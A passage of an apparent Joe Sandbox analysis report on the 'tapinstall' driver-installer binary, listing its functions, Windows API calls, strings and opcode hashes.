                                                                                                                      • API ID: FileHandleType
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 3000768030-0
                                                                                                                      • Opcode ID: 2a7858ea0a20d78d229f8241a9e12833e585a3072b3a1a0811a3e501217574ad
                                                                                                                      • Instruction ID: 81e991f5b7f9f7950df480ae05b98f8bd34e3a31480f33eb5bf78a10c0976ad8
                                                                                                                      • Opcode Fuzzy Hash: 2a7858ea0a20d78d229f8241a9e12833e585a3072b3a1a0811a3e501217574ad
                                                                                                                      • Instruction Fuzzy Hash: 2A31E462A18B46C1F7609F258D90179AA50FB59BB0FA40379EB6E073E0CF38F4A1D350
                                                                                                                      Function 00007FF76A6D4770 Relevance: 3.1, APIs: 2, Instructions: 51windowCOMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      • Executed
                                                                                                                      • Not Executed
                                                                                                                      control_flow_graph 427 7ff76a6d4770-7ff76a6d47c5 FormatMessageW 428 7ff76a6d4811-7ff76a6d4817 427->428 429 7ff76a6d47c7-7ff76a6d47c9 427->429 430 7ff76a6d480b LocalFree 429->430 431 7ff76a6d47cb-7ff76a6d47ce 429->431 430->428 432 7ff76a6d47f6-7ff76a6d4801 call 7ff76a6e6c8c 431->432 433 7ff76a6d47d0 431->433 438 7ff76a6d4806 432->438 434 7ff76a6d47d3-7ff76a6d47d6 433->434 436 7ff76a6d47de-7ff76a6d47f4 434->436 437 7ff76a6d47d8-7ff76a6d47db 434->437 436->432 436->434 437->436 438->430
                                                                                                                      APIs
                                                                                                                      • FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF76A6D10DD), ref: 00007FF76A6D47B7
                                                                                                                      • LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF76A6D10DD), ref: 00007FF76A6D480B
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: FormatFreeLocalMessage
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1427518018-0
                                                                                                                      • Opcode ID: faddade6f339ff3cc93d48928193cad67dc264e1d8a9395bb651df8655175f89
                                                                                                                      • Instruction ID: 3484bc5f2b95ab05f4efb3a5ab44808403702b7fa9e3445efd55d38272596845
                                                                                                                      • Opcode Fuzzy Hash: faddade6f339ff3cc93d48928193cad67dc264e1d8a9395bb651df8655175f89
                                                                                                                      • Instruction Fuzzy Hash: 86114976B19B44C1EB11AF11E448169B3A6FB88BD0B958076CA5D47750EF7AC8A1C710
                                                                                                                      Function 00007FF76A6D8124 Relevance: 3.0, APIs: 2, Instructions: 23COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: __vcrt_initialize__vcrt_initialize_locks__vcrt_initialize_winapi_thunks__vcrt_uninitialize
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1882725809-0
                                                                                                                      • Opcode ID: 8f237d6502b14b0254a4c674743dae8b4da91eb28c515f3ea25adcbd20d46fa1
                                                                                                                      • Instruction ID: dbfaef4e0819d53417cb0b846fd6368f138d4f29e397076e7b1940b25cd633af
                                                                                                                      • Opcode Fuzzy Hash: 8f237d6502b14b0254a4c674743dae8b4da91eb28c515f3ea25adcbd20d46fa1
                                                                                                                      • Instruction Fuzzy Hash: 4AE09A40E0D247E4FE143B30181A1B992820F1EBC4FC424FDD88D831D3CD0C706921B0
                                                                                                                      Function 00007FF76A717080 Relevance: 1.6, APIs: 1, Instructions: 67COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 77c9f455ae7dbfbf764ac100925fa24616ef860103a1a996772a9699631fd484
                                                                                                                      • Instruction ID: 7995c7aaaee19380791f1e952df0230e54e25ffb9361ee9b9cef19ca3e25d510
                                                                                                                      • Opcode Fuzzy Hash: 77c9f455ae7dbfbf764ac100925fa24616ef860103a1a996772a9699631fd484
                                                                                                                      • Instruction Fuzzy Hash: 54217462E08242C5F7027F25DC41379A690AF887A1FD54575E95D473D2DF7CE8818720
                                                                                                                      Function 00007FF76A70154C Relevance: 1.6, APIs: 1, Instructions: 53COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: HandleModule$AddressFreeLibraryProc
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 3947729631-0
                                                                                                                      • Opcode ID: 9b5487346ef9f63116b54207664187879175fdd5b6014f44a2d1d5806b6a0d0e
                                                                                                                      • Instruction ID: 3c6f33ab11ff2292a0b04637c88eb1320ec64d7dae30489bb2498be4fb3a97ae
                                                                                                                      • Opcode Fuzzy Hash: 9b5487346ef9f63116b54207664187879175fdd5b6014f44a2d1d5806b6a0d0e
                                                                                                                      • Instruction Fuzzy Hash: F5216A72E04701CAFB51EF64C8842EC76A0FB4870CF84463AD60D96B85DF78D485CBA0
                                                                                                                      Function 00007FF76A70CE60 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                                                      Download Yara Rule

                                                                                                                      Control-flow Graph

                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 3215553584-0
                                                                                                                      • Opcode ID: 29ed8d9b04594f7865511f83e8ab8f204f57b5d6501f11963fc871f8f78e5789
                                                                                                                      • Instruction ID: 0f274e867e5df024bfa587a0dfae367e5bb1d81bf0b827562e30877dc9184ff0
                                                                                                                      • Opcode Fuzzy Hash: 29ed8d9b04594f7865511f83e8ab8f204f57b5d6501f11963fc871f8f78e5789
                                                                                                                      • Instruction Fuzzy Hash: AC116DB2919642C2F310AF14E89013AF2A4EB58741FD901B5E65E57A92EF3CF8518770
                                                                                                                      Function 00007FF76A6E6C8C Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 3215553584-0
                                                                                                                      • Opcode ID: b1701a4419845fdea9b25c0b889f21a2cfcb31a46c6b6b47c9f4c5ea8d08c04c
                                                                                                                      • Instruction ID: 1ddc01b038603acb89677f1b302ddc44b9e0553137e86592f4b4e95fdb40e495
                                                                                                                      • Opcode Fuzzy Hash: b1701a4419845fdea9b25c0b889f21a2cfcb31a46c6b6b47c9f4c5ea8d08c04c
                                                                                                                      • Instruction Fuzzy Hash: F7F031B6A04B01D8FB01AF60D8010EC77B4FB14798F904A75EB5C02698EF79D155C260
                                                                                                                      Function 00007FF76A707978 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • HeapAlloc.KERNEL32(?,?,00000000,00007FF76A7077C1,?,?,00000000,00007FF76A706B85,?,?,?,?,00007FF76A6E6CA8), ref: 00007FF76A7079CD
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: AllocHeap
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 4292702814-0
                                                                                                                      • Opcode ID: 3983c4821dd1e57c8f0338e38868bd111ba754eec4fe96f30a7891404f0fea4d
                                                                                                                      • Instruction ID: 97d882bc236966735b55398b4ab83ac313a04d9d15d7c6dfa0d998d778a960b3
                                                                                                                      • Opcode Fuzzy Hash: 3983c4821dd1e57c8f0338e38868bd111ba754eec4fe96f30a7891404f0fea4d
                                                                                                                      • Instruction Fuzzy Hash: 3AF06281B29A07C4FE547F669C557B5D2849F8C741FDC44B1C90D863C1EE1CE8814230

                                                                                                                      Non-executed Functions

                                                                                                                      Function 00007FF76A6DB1FC Relevance: 172.4, APIs: 82, Strings: 16, Instructions: 883COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Name::operator+$Name::doPchar$Name::operator+=
                                                                                                                      • String ID: [thunk]:$`adjustor{$`local static destructor helper'$`template static data member constructor helper'$`template static data member destructor helper'$`vtordispex{$`vtordisp{$extern "C" $private: $protected: $public: $static $virtual ${flat}${for $}'
                                                                                                                      • API String ID: 2654205828-3103905019
                                                                                                                      • Opcode ID: 344dc4b9ba1a62ce6824673a4e2a2672d5d17c1497d6831b0eb881a8fb7f10fb
                                                                                                                      • Instruction ID: 9310c9d8583f7236321f1c8ca33f9fe7c4363d7842e9d0de5e4385d943b9d285
                                                                                                                      • Opcode Fuzzy Hash: 344dc4b9ba1a62ce6824673a4e2a2672d5d17c1497d6831b0eb881a8fb7f10fb
                                                                                                                      • Instruction Fuzzy Hash: 20826172A1C682C6FB40FF24E4802ADB7A2FB54B84F901075EA4E87699DF7CD554CB50
                                                                                                                      Function 00007FF76A6D7030 Relevance: 40.5, APIs: 19, Strings: 4, Instructions: 255registryCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Setup$DeviceDriverInfoInstallParams$BuildCloseEnumListOpen
                                                                                                                      • String ID: DriverDesc$InfPath$InfSection$ProviderName
                                                                                                                      • API String ID: 1704563315-109328823
                                                                                                                      • Opcode ID: 470132caa0e5c2b1524e902dcaad2fd13110990853be0799e79165d4b753c384
                                                                                                                      • Instruction ID: aa86047d4249fb34ef41624011c1ba3603214d9af0f30e7dc2b4fa739fd9a296
                                                                                                                      • Opcode Fuzzy Hash: 470132caa0e5c2b1524e902dcaad2fd13110990853be0799e79165d4b753c384
                                                                                                                      • Instruction Fuzzy Hash: 34B1A032A08792C6FB20AF61A4443BAB7A5FB88FC8FC04175DA4D52A94DF3CD515EB11
                                                                                                                      Function 00007FF76A6D6C90 Relevance: 40.5, APIs: 17, Strings: 6, Instructions: 208libraryfileloaderCOMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • SetupOpenInfFileW.SETUPAPI(?,?,00000000,00000000,?,00007FF76A6D3786), ref: 00007FF76A6D6CD1
                                                                                                                      • GetLastError.KERNEL32(?,?,00000000,00000000,?,00007FF76A6D3786), ref: 00007FF76A6D6CE0
                                                                                                                      • SetupFindFirstLineW.SETUPAPI(?,?,00000000,00000000,?,00007FF76A6D3786), ref: 00007FF76A6D6D0C
                                                                                                                      • SetupGetStringFieldW.SETUPAPI(?,?,00000000,00000000,?,00007FF76A6D3786), ref: 00007FF76A6D6D32
                                                                                                                      • SetupFindFirstLineW.SETUPAPI(?,?,00000000,00000000,?,00007FF76A6D3786), ref: 00007FF76A6D6D89
                                                                                                                      • SetupGetStringFieldW.SETUPAPI(?,?,00000000,00000000,?,00007FF76A6D3786), ref: 00007FF76A6D6DB3
                                                                                                                      • CLSIDFromString.OLE32(?,?,00000000,00000000,?,00007FF76A6D3786), ref: 00007FF76A6D6DC9
                                                                                                                      • SetupDiGetClassDescriptionExW.SETUPAPI(?,?,00000000,00000000,?,00007FF76A6D3786), ref: 00007FF76A6D6DF2
                                                                                                                      • LoadLibraryW.KERNEL32(?,?,00000000,00000000,?,00007FF76A6D3786), ref: 00007FF76A6D6E3A
                                                                                                                      • GetProcAddress.KERNEL32(?,?,00000000,00000000,?,00007FF76A6D3786), ref: 00007FF76A6D6E5E
                                                                                                                      • GetLastError.KERNEL32 ref: 00007FF76A6D6EA1
                                                                                                                      • GetLastError.KERNEL32 ref: 00007FF76A6D6EAE
                                                                                                                      • SetupFindFirstLineW.SETUPAPI ref: 00007FF76A6D6F08
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Setup$ErrorFindFirstLastLineString$Field$AddressClassDescriptionFileFromLibraryLoadOpenProc
                                                                                                                      • String ID: ClassGUID$DriverVer$Provider$SetupVerifyInfFile$Version$setupapi.dll
                                                                                                                      • API String ID: 2815445529-1638047923
                                                                                                                      • Opcode ID: ccf9f4b43b9fad1fa27bc109124458a99df6b9793aee5966b8e4b19aae1b4082
                                                                                                                      • Instruction ID: 9a7b185085f1aad26238749ac366ea66b6752e196de8a5d7b575411cd2acdf80
                                                                                                                      • Opcode Fuzzy Hash: ccf9f4b43b9fad1fa27bc109124458a99df6b9793aee5966b8e4b19aae1b4082
                                                                                                                      • Instruction Fuzzy Hash: 33917C25A1CA82C1F720BB65E8102FAB262FF88F80FC04175E90E576D5EF3DE5559760
                                                                                                                      Function 00007FF76A71A7C0 Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1207COMMONLIBRARYCODE
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
                                                                                                                      • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                                                                                      • API String ID: 808467561-2761157908
                                                                                                                      • Opcode ID: 64e267bf78fb629f889f1a9ca02426a2b841f9d57b2607d640a5240c26589488
                                                                                                                      • Instruction ID: a8132f36939f81084fb1a597c77f33ce88c9c3819eb31e954c39790040075928
                                                                                                                      • Opcode Fuzzy Hash: 64e267bf78fb629f889f1a9ca02426a2b841f9d57b2607d640a5240c26589488
                                                                                                                      • Instruction Fuzzy Hash: F2B21672A18282CAF7269F25C5407FDB7E1FB88788F985135DA0A57B85DB38AD44CB10
                                                                                                                      Function 00007FF76A6D13E0 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 279COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: Setup$ClassFromGuidsName$DestroyDeviceErrorInfoLastList
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1066883911-3916222277
                                                                                                                      • Opcode ID: 95c7f67f37713cc790260966e8adad9794b378fe7e5710a0f5457cdb6cacd70d
                                                                                                                      • Instruction ID: 815fbf220ca417fc93e0b388db6fe087b4272e2a00241c3836ccbfaa1cc940ed
                                                                                                                      • Opcode Fuzzy Hash: 95c7f67f37713cc790260966e8adad9794b378fe7e5710a0f5457cdb6cacd70d
                                                                                                                      • Instruction Fuzzy Hash: B3B1A332B08682C1FB25AF65E8402A9A3A2FB88FE4F944275DE5D43BD4DF7CD5158720
                                                                                                                      Function 00007FF76A7183E4 Relevance: 16.9, APIs: 8, Strings: 1, Instructions: 1132COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: memcpy_s$_invalid_parameter_noinfo
                                                                                                                      • String ID: s
                                                                                                                      • API String ID: 2880407647-453955339
                                                                                                                      • Opcode ID: 5bbfe94752329b1da8265bf6d51677381658838f21c0a74a2938933cdb4c1ac6
                                                                                                                      • Instruction ID: 64aa22012945f75b913654c94073426a849f38e65dc685ec4e87780d4f0351e4
                                                                                                                      • Opcode Fuzzy Hash: 5bbfe94752329b1da8265bf6d51677381658838f21c0a74a2938933cdb4c1ac6
                                                                                                                      • Instruction Fuzzy Hash: 19A20472A081C1CBE7369F29D4406E9B7D5F798788F980275DB0A67B94DB3CEA418B10
                                                                                                                      Function 00007FF76A71A070 Relevance: 15.4, APIs: 10, Instructions: 368COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: memcpy_s
                                                                                                                      • String ID:
                                                                                                                      • API String ID: 1502251526-0
                                                                                                                      • Opcode ID: ac952aa7c694147f99d3e4b40430f2bf787c9728cbc095bc21ac10cb0df3e7be
                                                                                                                      • Instruction ID: 49ac341527642bd82b4dae063e66b4abe4b6c6ca4e3f45373f0f3868043cad80
                                                                                                                      • Opcode Fuzzy Hash: ac952aa7c694147f99d3e4b40430f2bf787c9728cbc095bc21ac10cb0df3e7be
                                                                                                                      • Instruction Fuzzy Hash: 3BE1D372A08282CAFB26DF19D444AE9B7E0FB4D788F845135DB0947B85DB39EE05CB50
                                                                                                                      Function 00007FF76A70E0B0 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 434COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      APIs
                                                                                                                      • _invalid_parameter_noinfo.LIBCMT ref: 00007FF76A70E0E0
                                                                                                                        • Part of subcall function 00007FF76A706A20: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF76A7069CD), ref: 00007FF76A706A29
                                                                                                                        • Part of subcall function 00007FF76A706A20: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF76A7069CD), ref: 00007FF76A706A4E
                                                                                                                      • _invalid_parameter_noinfo.LIBCMT ref: 00007FF76A70E305
                                                                                                                      Strings
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 0000000A.00000002.1807103028.00007FF76A6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF76A6D0000, based on PE: true
                                                                                                                      • Associated: 0000000A.00000002.1807079728.00007FF76A6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807156373.00007FF76A724000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807186532.00007FF76A737000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      • Associated: 0000000A.00000002.1807209083.00007FF76A73A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_10_2_7ff76a6d0000_tapinstall.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID: _invalid_parameter_noinfo$CurrentFeaturePresentProcessProcessor
                                                                                                                      • String ID: *?
                                                                                                                      • API String ID: 1697365638-2564092906
                                                                                                                      • Opcode ID: 63c62522b583ab65492df3df2897c9d34e58fcc378565526384e87568434e7d9
                                                                                                                      • Instruction ID: e6395a77b8e9c0c16fce283cded59048c1acb3e682ecde2c318699eb22eea7d1
